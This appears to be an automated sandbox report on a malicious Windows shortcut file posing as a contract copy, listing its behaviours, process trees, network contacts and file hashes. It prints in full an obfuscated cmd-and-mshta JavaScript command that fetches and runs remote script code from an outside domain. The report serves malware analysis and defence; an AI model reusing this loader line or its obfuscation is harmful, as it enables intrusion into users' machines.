Analysis Overview
SHA256
13beb7634ad7cd986b315f6c578d5beb9b422a82034bf1ec1d43acac58437f80
Threat Level: Likely malicious
The file CONTRATO_COPIA_leandrocalcgraf.com.LnK.lnk was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Modifies Internet Explorer settings
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-13 10:10
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-13 10:10
Reported
2024-06-13 10:12
Platform
win7-20240611-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1340930862-1405011213-2821322012-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\system32\mshta.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1748 wrote to memory of 2756 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 1748 wrote to memory of 2756 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 1748 wrote to memory of 2756 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2756 wrote to memory of 2732 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 2756 wrote to memory of 2732 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 2756 wrote to memory of 2732 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\CONTRATO_COPIA_leandrocalcgraf.com.LnK.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /v:on /D/c mshTa "jaVascrIpT:var _$_OREE=["\x58\121\132\x4f\124\107\x33","\163\143\162\x69\x70\x74\72\x48\x54\164\x70\x73\x3a\x2f\x2f\147\x6c\x6f\x6b\151\x6c\x2e\141\x6e\x64\x72\145\x64\157\x70\x72\x61\x64\157\x32\x32\71\x39\x39\56\x63\157\x6d\x2e\x62\x72\x2f\77\x31\57"];try{GetObject(_$_OREE[1])[_$_OREE[0]]()}catch(e){};close()"
C:\Windows\system32\mshta.exe
mshTa "jaVascrIpT:var _$_OREE=["\x58\121\132\x4f\124\107\x33","\163\143\162\x69\x70\x74\72\x48\x54\164\x70\x73\x3a\x2f\x2f\147\x6c\x6f\x6b\151\x6c\x2e\141\x6e\x64\x72\145\x64\157\x70\x72\x61\x64\157\x32\x32\71\x39\x39\56\x63\157\x6d\x2e\x62\x72\x2f\77\x31\57"];try{GetObject(_$_OREE[1])[_$_OREE[0]]()}catch(e){};close()"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | glokil.andredoprado22999.com.br | udp |
| US | 172.67.133.192:443 | glokil.andredoprado22999.com.br | tcp |
| US | 8.8.8.8:53 | www.instagram.com | udp |
| GB | 163.70.151.174:443 | www.instagram.com | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\Cab1299.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Temp\Tar1357.tmp
| MD5 | 4ea6026cf93ec6338144661bf1202cd1 |
| SHA1 | a1dec9044f750ad887935a01430bf49322fbdcb7 |
| SHA256 | 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8 |
| SHA512 | 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-13 10:10
Reported
2024-06-13 10:12
Platform
win10v2004-20240508-en
Max time kernel
51s
Max time network
51s
Command Line
Signatures
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4068 wrote to memory of 1460 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 4068 wrote to memory of 1460 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 1460 wrote to memory of 2964 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 1460 wrote to memory of 2964 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\CONTRATO_COPIA_leandrocalcgraf.com.LnK.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /v:on /D/c mshTa "jaVascrIpT:var _$_OREE=["\x58\121\132\x4f\124\107\x33","\163\143\162\x69\x70\x74\72\x48\x54\164\x70\x73\x3a\x2f\x2f\147\x6c\x6f\x6b\151\x6c\x2e\141\x6e\x64\x72\145\x64\157\x70\x72\x61\x64\157\x32\x32\71\x39\x39\56\x63\157\x6d\x2e\x62\x72\x2f\77\x31\57"];try{GetObject(_$_OREE[1])[_$_OREE[0]]()}catch(e){};close()"
C:\Windows\system32\mshta.exe
mshTa "jaVascrIpT:var _$_OREE=["\x58\121\132\x4f\124\107\x33","\163\143\162\x69\x70\x74\72\x48\x54\164\x70\x73\x3a\x2f\x2f\147\x6c\x6f\x6b\151\x6c\x2e\141\x6e\x64\x72\145\x64\157\x70\x72\x61\x64\157\x32\x32\71\x39\x39\56\x63\157\x6d\x2e\x62\x72\x2f\77\x31\57"];try{GetObject(_$_OREE[1])[_$_OREE[0]]()}catch(e){};close()"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | glokil.andredoprado22999.com.br | udp |